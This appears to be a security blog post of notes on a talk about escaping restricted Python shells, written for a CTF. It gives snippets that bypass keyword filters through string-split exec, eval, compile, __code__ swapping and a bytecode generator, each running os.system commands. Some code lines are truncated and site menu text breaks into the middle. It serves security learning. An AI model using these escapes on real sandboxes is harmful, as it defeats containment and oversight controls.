JAN 19, 2019 - 3 MINUTE READ - COMMENTS - PYTHON

Notes on Escaping Python Shells

During the SANS Holiday Hack Challenge 2018, I viewed a talk by Mark Baggett about escaping Python shells. These are my notes.

- Talk: https://www.youtube.com/watch?v=ZVx2Sxl3B9c
- Code: https://gist.github.com/MarkBaggett/dd440362f8a443d644b913acadff9499

Who am I?

I am Parsia, a security engineer at Electronic Arts.

I write about application security, reverse engineering, Go, cryptography, and (obviously) videogames.

Click on About Me! to know more.

Collections

It's part of SANS SEC573: Automating Information Security with Python which looks interesting. Although, I am Go fanatic and will probably will never be able to afford to course anyways. Creating a Go version of the course sounds fun.

Overwrite/Reload Python Modules

Overwrite them in memory:

```
import sys
sys.modules['os'].system = lamba *x,**y:"STOP HACKING"
del sys

# now if I want to run it
import os
os.system("ls")
# I get stop hacking
'STOP HACKING'
```

To defeat, we can reload them in Python 3 with `importlib`

```
import importlib
importlib.reload(os)
```

Python as Child Process

Python interpreter is launched as a child process and then keywords are filtered with `readfunc()`.

exec

Thick Client Proxying

Go/Golang

Blockchain/Distributed Ledgers

Automation

Reverse Engineering

Crypto(graphy)

CTFs/Writeups

WinAppDbg

AWSome.pw - S3 bucket squatting - my very legit branded vulnerability

Executes Python code that does not return a result. Break the statements into pieces and run them.

```
exec("imp" + "ort os")
os.system("id")
```

eval

Executes Python code that returns a result.

```
os = eval('__im' + 'port__("os")')  # __import__("os")
os.system("id")
```

compile

Turns a string into bytecode.

```
code = compile("im" + "port os", "", "single") # single means only compile this single

# now we need to execute it
# make a function that does nothing
def a():
    return

# and overwrite it
a.__code__ = code

# execute it
a()

# now os should be imported
os.system("id")
```

exec, eval, import and compile are blocked

Go to a different Python interpreter, make the function you want. Interpreter versions should somewhat match (e.g. both 2.7 or 3.5):

```
def bypass():
    import os
    print(os.system("id"))
```

Paste `make_object.py` from https://gist.github.com/MarkBaggett/dd440362f8a443d644b913acadff9499#file-make_object-py this function into the 2nd interpreter:

```
import sys
def makeobject(afunction):
   print("Generating a function for version {}.{} (same version as this machine)".forma
   newstr = ""
   newstr += "def a():\n"
   newstr += "    return\n\n"
   if sys.version_info.major == 2:
       co = afunction.__code__
       if sys.version_info.minor not in [5,6,7]:
           print("This code has not been tested on this version of python.  It may not
       newstr += "a.__code__ = type(a.__code__)({0},{1},{2},{3},'{4}',{5},{6},{7},'{8}'
   elif sys.version_info.major == 3:
       co = afunction.__code__
       if sys.version_info.minor not in [5]:
           print("This code has not been tested on this version of python.  It may not
       newstr += "a.__code__ = type(a.__code__)({0},{1},{2},{3},{4},{5},{6},{7},{8},'{9
   else:
```

```
        print("This version of python is not tested and may not work")
    print(newstr)
```

Now call `makeobject(bypass)` to get the bytecode for it. It gives a string that can be copy/pasted into the remote system. It will create a function called `a` and then bytecode for it that does what `bypass` does. Might need to break the keywords into a string again (e.g. `"import"` to `"im" + "port"`).

Unsurprisingly, the challenge used this method. See my solution to Python Escape from LA.

Posted by Parsia • Jan 19, 2019

SANS Holiday Hack Challenge 2018 Solutions

Cheating at Moonlighter - Part 1 - Save File